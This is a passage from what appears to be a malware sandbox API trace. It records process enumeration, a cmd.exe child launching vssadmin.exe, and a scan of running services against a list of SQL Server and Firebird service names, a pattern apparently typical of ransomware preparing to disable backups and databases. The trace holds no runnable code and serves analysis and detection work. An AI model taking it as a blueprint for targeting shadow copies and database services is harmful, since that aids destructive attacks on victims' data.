lstrlenW (lpString="services.exe") returned 12 [0049.539] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0049.540] lstrlenW (lpString="lsass.exe") returned 9 [0049.540] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0049.540] lstrlenW (lpString="lsm.exe") returned 7 [0049.540] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.541] lstrlenW (lpString="svchost.exe") returned 11 [0049.541] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.541] lstrlenW (lpString="svchost.exe") returned 11 [0049.541] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.542] lstrlenW (lpString="svchost.exe") returned 11 [0049.542] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.542] lstrlenW (lpString="svchost.exe") returned 11 [0049.542] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.543] lstrlenW (lpString="svchost.exe") returned 11 [0049.543] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0049.543] lstrlenW (lpString="audiodg.exe") returned 11 [0049.543] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.544] lstrlenW (lpString="svchost.exe") returned 11 [0049.544] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.544] lstrlenW (lpString="svchost.exe") returned 11 [0049.544] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0049.545] lstrlenW (lpString="dwm.exe") returned 7 [0049.545] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0049.545] lstrlenW (lpString="explorer.exe") returned 12 [0049.545] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0049.546] lstrlenW (lpString="spoolsv.exe") returned 11 [0049.546] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.546] lstrlenW (lpString="taskhost.exe") returned 12 [0049.546] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.547] lstrlenW (lpString="svchost.exe") returned 11 [0049.547] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0049.547] lstrlenW (lpString="taskeng.exe") returned 11 [0049.547] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.548] lstrlenW (lpString="taskhost.exe") returned 12 [0049.548] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0049.548] lstrlenW (lpString="br_maintaining.exe") returned 18 [0049.548] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0049.549] lstrlenW (lpString="kitsenormous.exe") returned 16 [0049.549] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0049.549] lstrlenW (lpString="intermediate-components.exe") returned 27 [0049.549] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0049.550] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0049.550] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0049.550] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0049.550] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0049.551] lstrlenW (lpString="stupid.exe") returned 10 [0049.551] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0049.551] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0049.551] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0049.552] lstrlenW (lpString="addition.exe") returned 12 [0049.552] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0049.552] lstrlenW (lpString="kept retirement.exe") returned 19 [0049.552] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0049.553] lstrlenW (lpString="lmmold.exe") returned 10 [0049.553] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0049.553] lstrlenW (lpString="soma weighted.exe") returned 17 [0049.553] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0049.554] lstrlenW (lpString="cartridge donation.exe") returned 22 [0049.554] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0049.554] lstrlenW (lpString="anti.exe") returned 8 [0049.554] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0049.555] lstrlenW (lpString="cashiersshot.exe") returned 16 [0049.555] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0049.555] lstrlenW (lpString="poundfi.exe") returned 11 [0049.555] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0049.556] lstrlenW (lpString="conditions_hired.exe") returned 20 [0049.556] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0049.556] lstrlenW (lpString="mercedes.exe") returned 12 [0049.556] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0049.557] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0049.557] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0049.557] lstrlenW (lpString="training_wiring.exe") returned 19 [0049.557] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0049.557] lstrlenW (lpString="democratic.exe") returned 14 [0049.558] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0049.558] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0049.558] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0049.701] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0049.701] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0049.702] lstrlenW (lpString="documented.exe") returned 14 [0049.702] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0049.702] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0049.702] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0049.703] lstrlenW (lpString="n.exe") returned 5 [0049.703] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0049.703] lstrlenW (lpString="cmd.exe") returned 7 [0049.703] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0049.704] lstrlenW (lpString="conhost.exe") returned 11 [0049.704] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0049.704] lstrlenW (lpString="vssadmin.exe") returned 12 [0049.704] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0049.705] lstrlenW (lpString="VSSVC.exe") returned 9 [0049.705] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0049.705] CloseHandle (hObject=0x1f8) returned 1 [0049.705] Sleep (dwMilliseconds=0x1f4) [0050.655] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x740060 [0050.655] EnumServicesStatusExW (in: hSCManager=0x740060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0050.656] GetLastError () returned 0xea [0050.656] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x123e) returned 0x3a77708 [0050.656] EnumServicesStatusExW (in: hSCManager=0x740060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3a77708, cbBufSize=0x123e, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3a77708, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0050.657] CloseServiceHandle (hSCObject=0x740060) returned 1 [0050.657] lstrlenW (lpString="Appinfo") returned 7 [0050.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0050.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0050.657] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0050.657] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0050.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0050.657] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0050.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.657] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0050.657] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0050.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0050.657] lstrlenW (lpString="AudioSrv") returned 8 [0050.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0050.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0050.657] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0050.657] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0050.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0050.657] lstrlenW (lpString="BFE") returned 3 [0050.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0050.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0050.658] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0050.658] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0050.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0050.658] lstrlenW (lpString="CryptSvc") returned 8 [0050.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0050.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0050.658] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0050.658] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0050.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0050.658] lstrlenW (lpString="CscService") returned 10 [0050.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0050.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0050.658] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0050.658] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0050.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0050.658] lstrlenW (lpString="DcomLaunch") returned 10 [0050.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.658] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0050.658] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0050.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0050.658] lstrlenW (lpString="Dhcp") returned 4 [0050.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0050.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0050.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0050.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0050.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0050.658] lstrlenW (lpString="Dnscache") returned 8 [0050.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0050.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0050.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0050.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0050.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0050.659] lstrlenW (lpString="DPS") returned 3 [0050.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0050.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0050.659] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0050.659] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0050.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0050.659] lstrlenW (lpString="eventlog") returned 8 [0050.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0050.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0050.659] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0050.659] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0050.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0050.659] lstrlenW (lpString="EventSystem") returned 11 [0050.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0050.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0050.659] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0050.659] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0050.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0050.659] lstrlenW (lpString="gpsvc") returned 5 [0050.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0050.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0050.659] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0050.659] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0050.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0050.659] lstrlenW (lpString="iphlpsvc") returned 8 [0050.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.659] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0050.659] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0050.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0050.659] lstrlenW (lpString="LanmanServer") returned 12 [0050.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0050.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0050.659] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0050.660] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0050.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0050.660] lstrlenW (lpString="LanmanWorkstation") returned 17 [0050.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.660] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0050.660] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0050.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0050.660] lstrlenW (lpString="lmhosts") returned 7 [0050.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0050.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0050.660] lstrcmpiW 